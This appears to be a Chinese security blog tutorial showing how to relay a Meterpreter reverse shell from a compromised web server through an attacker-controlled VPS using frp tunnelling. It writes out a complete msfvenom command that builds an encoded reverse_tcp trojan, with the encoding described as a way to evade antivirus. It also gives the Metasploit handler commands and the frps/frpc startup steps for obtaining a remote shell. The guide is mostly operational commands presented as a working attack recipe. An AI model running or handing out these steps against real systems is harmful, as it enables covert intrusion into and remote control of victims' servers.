• frp隧道(流量代理)


    代理

    代理使用场景

    1. 拿下远程web服务器
    2. webshell连接不稳定,需要使用稳定的木马程序
    3. 远程服务器无法直接连接攻击者电脑(内网IP)
    4. 需要借助公网vps转发来自失陷服务器的木马流量
    5. 借助frp服务器(vps)和客户端(内网攻击者)建立隧道
    6. 当vps某一个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用建立好的隧道转发流量

    前提条件

    攻击者:

    • 拿下了一台webshell权限
    • 需要上传完整功能的木马
    • 生成一个木马,不管谁执行了这个木马,都会连接vps的4444端口发送流量

    代理过程

    image-20231013203408275

    隧道

    失陷主机或服务器:

    • 在执行攻击者上传的木马时主动与vps进行连接
    • 请求与vps的4444端口进行通信,发送流量

    公网vps:

    • 攻击者可控
    • 攻击者和受害服务器都可以访问
    • vps使用7000端口(frp软件)进行监听,攻击者向vps发出请求建立隧道(只能由攻击者向vps发出请求,因为公网IP不能访问私网IP)
    • 失陷主机运行木马后,失陷主机将信息通过4444端口传送至vps,vps把自己的4444端口的流量通过7000端口转发给攻击者

    frp服务

    frp存在客户端和服务端,frp服务运行起来后服务端会自行开放7000端口。

    • 内网kali用户上配置frpc客户端

    • vps7.7.7.7上配置frps服务端

    • frps和frpc做好链接后内网IP和vps7.7.7.7就建立了一个隧道

    • frp服务(vps)的4444端口会主动转发(通过7000端口)给客户端设定接收流量的端口

    内网IP查看能否与外网通信

    image-20231013202952351

    image-20231013202942155

    MSF木马生成

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.223 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5
    
    • 1

    解释:

    这是一个使用Metasploit框架中的msfvenom工具生成恶意软件的命令。

    • -p :指定Payload(有效负载:木马的功能点)为Windows Meterpreter反向TCP连接。Meterpreter是Metasploit框架中一个功能强大的远程访问工具。
    • LHOST:设置本地监听IP地址为10.9.75.223。这是恶意软件将连接到的主机IP地址。
    • LPORT:设置本地监听端口号为4444。这是恶意软件将连接到的主机端口号。
    • -e :使用x86/shikata_ga_nai编码来混淆Payload,以避免被基于特征的防病毒软件检测。
    • -f :设置生成的恶意软件文件格式为可执行文件(exe)。
    • -o :指定生成的恶意软件文件名为shell.exe。
    • -i :设置编码迭代次数为5,以增加避免被检测的难度。

    木马上传至失陷主机

    image-20231013210028793

    image-20231013210045558

    监听

    1、启动msf :msfconsole
    2、载入监控模块  :use exploit/multi/handler
    3、加载payload:
    set payload windows/meterpreter/reverse_tcp
    set lhost 127.0.0.1
    set lport 4444
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    image-20231013211002873

    image-20231013211044543

    image-20231013211350995

    kali主机启动监听等待木马连接

    失陷主机运行木马后将流量数据包发送给vps的4444端口,但是vps没有开放4444端口

    image-20231013211818294

    vps开启frp服务:

    frp服务端

    image-20231013212051157

    查看frp服务端的配置文件,当启动frp服务端的时候默认开启7000端口和客户端连接。向客户端发流量数据包。

    image-20231013212401559

    在frps.exe所在文件打开cmd

    frps.exe -c frps.ini	#启动frp服务器
    
    • 1

    image-20231013212818486

    frp客户端:

    解压frp客户端压缩包

    tar xf frp_0.33.0_linux_amd64.tar.gz
    
    • 1

    image-20231013213128458

    进入frp_0.33.0_linux_amd64目录查看客户端配置信息

    cd frp_0.33.0_linux_amd64
    ls
    sudo vim frpc.ini
    
    • 1
    • 2
    • 3

    image-20231013214823409

    启动frp客户端(frpc)

    sudo ./frpc -c frpc.ini		#启动客户端
    
    • 1

    image-20231013215101685

    image-20231013215649015

    运行木马

    失陷主机运行木马

    image-20231013220215872

    image-20231013220244608

    打开生成木马界面获得shell

    image-20231013220330963

    image-20231013220424012

  • 相关阅读:
    猿创征文|时间序列分析算法之平稳时间序列预测算法和自回归模型(AR)详解+Python代码实现
    git常用命令(github中的token)(.gitignore)
    Springboot毕设项目基于SpringBoot的演唱会购票系统z2673(java+VUE+Mybatis+Maven+Mysql)
    通关算法题之 ⌈哈希表⌋
    JavaScript中的空数组和空对象布尔值是true还是false?
    740. 删除并获得点数-动态规划算法
    04.Pandas查询数据
    微服务学习|Feign:快速入门、自定义配置、性能优化、最佳实践
    Shell 脚本学习 day01
    链表oj题(第一弹)
  • 原文地址:https://blog.csdn.net/weixin_58954236/article/details/133823274